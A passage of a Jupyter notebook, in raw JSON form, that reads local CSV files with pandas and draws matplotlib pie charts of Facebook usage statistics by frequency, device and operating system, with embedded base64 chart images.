pdWA68g/rcE6GDVBIrVgFk08n7geOAbOAovTKzso9j9RvgcOpzL4UOUmmsWAWSTSdfAN4O/D50lp6aIBuGh84QgAL/BryP+lxT6DCVyIpVQP5ooycBV+C+VYqFYWyvtDFWG4FTqc9dZSd5CEdUNXQGAyRSmWOBO4FE4ChdqmbP7tdqzxkgUjEfdH/G/c6voo5XVooqZYMredl08glgPlDSP9WYLg1rKqRQ7Qa+Ahxjhao02I9RS0g2ncwBn0ikMhncmKyS292aLSubgOmhcxTZs8B51OeWhA5i9qqET8jYyaaTdwAHA/+D69gtGXOrynqM1U7gclxrygpVibGWVYnKppMbgPMTqcytwPeAQ8ImcubI8nLtYP4DcCH1uVdCBzEds5ZVicumk4/h+rIuB4KfAfkAWVtux11fiutAP8EKVWmzbwNjJJHKjAFSuLNBDw6R4fna818YIdsOC7HsAmsCvgZ8m/rcztBhTPesWMVQIpWZjDu56qfo5135N2rPXjtAWif25zILbCvuy4vrqM8Fb6ma/FmxirFEKjML+FfgLKC22MurYc+uV2vPqRFBir2sIlgL/BdwE/W5DaHDmJ6zYlUGEqnMeNxhlC8GitbqOUhWZn9be2miWPMvkheBbwA/oj63K3QY03vWwV4GsulkQzadvAaYASzEjbouuINlRVxaJK3Ag7jf8b2F+twt+RYqEblBRD4Xuf6giPwwcv0/ReQLPQkjIreKyBkd3P6IiBzZk3lVMhu6UEay6eQu4DbgtkQqMx+3e/gJYEoh5j+3anmpH9ZmMXAHcBf1udW9nMfjwJnAN0WkCjcwN/rD7eNwxyQz/cyKVZnKppOLgcWJVOYy4ARc4foIMLK38zxYlpficayW435TeUeBDtuyiL1HdJ2H242cJCKjcEcGnQsgIo8CdcB64JOqukZEZgHfBsb5aS9Q1X2GQ4jIvwHTgPMit30KOFRVP++vXwDMVdUeteDKnfVZVZBEKjMQOB44xV8Og/w7y3838JLHD6xac1yR4uVrF66g/MZfnqM+V9CNWESywDuB9+GenynAE0AOuB73q4IPqmqjiHwMOEVVzxORh4CLVPU1ETkauFZVTxSRW4EHgKOAEX4aFZFHgC8CLwMvAHNUdbeIPA5cqKo2ij7CWlYVxO8mPuwvlyVSmYnAybjCdQwwq6vHj5fmEMexasG9mR/CFadHqc8Ve3d0EW537zhc5/wU/38OWAW8B/itiAAMANaISJ2f5j5/O+z7De2VwFOq+o/tF6aqW0XkYeBUEXkZqLFCtT8rVhUsm06uBW73FxKpzCjgcOAIfzkSOADf+hrKjvFFjrQDWAI8F7m8QH1ue5GX297juMLzFtxu4ArgEtwvCB4GpqjqsdEHiMhwoFlV53cyz2eAI0RktKp29EXFD3HDUF6hzE7dVihWrMzfZNPJjbgWzENttyVSmUHATGCWoDNwR1yYBkwGhuH6bdouQ9n/G+aduCLUdtkIrMQVgJWR/1cAb1KfK4V+sUW44rRUVVuADSIyEteHdSHwWRE5VlWfEJEaYLaqviQib4rImap6n7jm1WGq+ryf569x31BmROQ9qro5ukBVfUpEpuE+LMrhFwIFZ8XKdCmbTu4A/uIuue4fUD9iCFCDK1I7C92f1E+W4L4FvLPdbXWq2uCHIdwoIiNw76FvAi/hvsT4rohcgXsO7gbaihW+iA0D7heR93ew3HuB+aq6sQjrFHvWwW5MiRCRB4AbVPWhbieuQDYo1JjARGSkiLwKbLdC1TlrWRljYsFaVsaYWLBiZYyJBStWxphYsGJljIkFK1bGmFiwYmWMiQUrVsaYWLBiZYyJBStWxphYsGJljIkFK1bGmFiwYmWMiQUrVsaYWLBiZYyJBStWxphYsGJljIkFK1bGmFiwYmWMiQUrVsaYWLBiZYyJBStWxphYsGJljIkFK1bGmFiwYmWMiQUrVsaYWPh/UQiLzIzf+VIAAAAASUVORK5CYII=\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB12.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Frequency of Facebook usage, US users, Edison\")\n", + "plt.pie(y, labels=x)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook devices" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Device(s)_used_to_access_Facebook Percentage of users\n", + "0 Desktop only 1.7\n", + "1 Mobile and Desktop 17.3\n", + "2 Mobile only 81.0\n" + ] + }, + { + "data": { + "image/png": "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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB13.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Facebook devices\")\n", + "plt.pie(y, labels=x)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook operating systems" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Operating system used to access Facebook Percentage of users\n", + "0 Android 80.7\n", + "1 iOS 14.7\n", + "2 Other 4.6\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAP4AAAD3CAYAAAA9memZAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAgeUlEQVR4nO3dd5xU5b3H8c9vC1vYRUBFUYERC4hILLGGiBqTqGMBcw0SrpJoTIxp5mqSiaasMd5MTNFYY2JurBSNiTFOTEgsWEABRUEURK+DFJWy7CxLWXZnn/vHeVYne7fM7s7Mc86c3/v1mtfOzinznfKb5/RHjDEopcKlxHUApVThaeErFUJa+EqFkBa+UiGkha9UCGnhKxVCWvgZRCQpIqfmYb5PicgXcz3fQhOR6SIy13UO1X++L3xbjDtEpCnjto/rXMVORCIiYkSkrP0xY8z9xphPucyVLZv9QNc5/Mr3hW+dZYypybitdx0o6ESk1HUG5U5QCv/fiMgQEXlURDaKyBZ7f7+M4UNF5A8ist4Ofzhj2Jki8rKINIjIfBGZ0GH2R4vIa3a6P4hIZca0l4jImyJSLyKPZC55iMgJIrJIRFL27wldZB8uIktF5Mouhh9iVw0aRGS5iJydMewuEfmNiPxTRLaKyDwRGZUxfKwdVi8iK0Xksx2mvV1E/iYi24CTRSQqIktEpFFE1ohIXUaUp+3fBruUdbyIfF5Ens2YpxGRS0VklX2/bhURscNKReSXIrJJRN4Wka91XILo8Lq/KyLr7OtaKSKfEJG9RWS7iOyeMd5R9nMvF5ED7XuQss8zx47Tnv0Vm32qfbzLz94uWX7bfjbbROT3IrKXiDxmM/1LRIbYcStF5D4R2WzntUhE9ursdfmWMcbXNyAJnNrhsd2BzwDVQC3wIPBwxvAEMAcYApQDk+zjRwIbgGOBUmCGnX9FxnO9CowAhgLPAT+xw04BNtl5VAA3A0/bYUOBLcAFQBkwzf6/ux3+FPBFIAK8AXypi9daDrwJXAUMsM+5FRhjh99l/z/RZvg18KwdNhBYA3zBZjjS5j00Y9oU8DG8H/xK4CTgMPv/BOB9YLIdPwIYoCwj3+fbn8/+b4BHgcHASGAjcJoddinwGrCf/Rz+1XF+GfMZY7Pvk/HcB9j7fwO+kjHuDcDN9v4s4OqM1zOxQ7YDM/7P5rN/HtgL2NeO+xJwhH2vnwB+ZMf9MvBXvO9fKXAUMMh1rfSqrlwHyLLwm4AGe3u4k3EOB7bY+8OBNmBIJ